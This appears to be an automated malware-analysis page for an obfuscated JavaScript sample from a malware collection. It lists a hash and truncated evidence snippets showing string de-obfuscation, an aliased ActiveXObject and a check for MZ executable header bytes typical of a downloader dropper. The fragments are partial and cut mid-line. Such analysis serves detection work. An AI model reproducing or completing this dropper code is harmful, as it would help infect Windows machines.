Hostile ^100% javascript-malware-collection Download

20161221_2075d56fb98c3360fb3f9453088f8d12.js

Obfuscated ActiveX malware execution

Checking for MZ header (77, 90) in a byte arrayActiveXObject via local alias

SHA-256693e88917a2303932b109d21b546c6b2400997289ab2ec975101f5df2759d838

MaleculeK₂(McLi)O₃(Xe₂As₉S)H₅(F₃CmDb₈OsPo₄)Md₂

Evidence

Hex arithmetic in string operations lines 2–9

2:559… 7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7
3
4);
5var silkopil = "\u002f";
6 var Hesrshish =- 0x01 +0x09+0xF7 ;
7String.prototype.osenOSENles = function() {
8SupchikcounterbalanceFROG2XCOP = 0;	
9     var SupchikcounterbalanceRazlomSS, SupchikcounterbalanceFROG2ddDccC2, Supchikco …

JavaScript empty-string accumulator initializer lines 9–14

9:116… nterbalanceFROG2c4;
10
11     var SupchikcounterbalanceFROG2out = "";
12
13	 var SupchikcounterbalanceFROG2Supchikcounterbalanceka= this.replace(/FROSTICK/gi, SupchikcounterbalanceFROG2out);
14 var  SupchikcounterbalanceFROG2len = Supchikcoun …

charCodeAt() method call lines 18–20

22… rbalancekoch = SupchikcounterbalanceFROG2Supchikcounterbalanceka.charCodeAt(SupchikcounterbalanceFROG2XCOP++) &(0x132- 0x33);
          SupchikcounterbalanceRazlomSS = levitron[Supchikcounterbalancekoch];
      } while (SupchikcounterbalanceFROG …

ActiveXObject via local alias lines 185–188

37… pchikcounterbalanceFROG2DoUtra.pop();
186SupchikcounterbalanceFROG2fabled="Valar2Morgulis";
var SupchikcounterbalanceFROG2LitoyDISK=ActiveXObject;
var doubleTrouble=SupchikcounterbalanceFROG2d2.split("45");SupchikcounterbalanceFROG2Native.SupchikcounterbalanceFROG2typize=function(a,b){a.type||(a.type=function(a){return Supchikcounterb …

Checks array for PE magic bytes lines 258–264

if(SupchikcounterbalanceTalabaevLaa < 29989)return false;
if (SupchikcounterbalanceTalabaev[0]!= 77 || SupchikcounterbalanceTalabaev[1]!= 90)return false;		
SupchikcounterbalanceFROG2CHICKA = SupchikcounterbalanceFROG2CHICKA  + SupchikcounterbalanceFROG2SIDRENKOV;
REBEKK2(SupchikcounterbalanceFROG2CHICKA, SupchikcounterbalanceTalabaev );
262
var SupchikcounterbalanceFROG2ddsSSddSd = ",happy";
264SupchikcounterbalanceFROG2ddsSSddSd = (SupchikcounterbalanceFROG2StrokaParam2,"undl") + (SupchikcounterbalanceFROG2StrokaPara …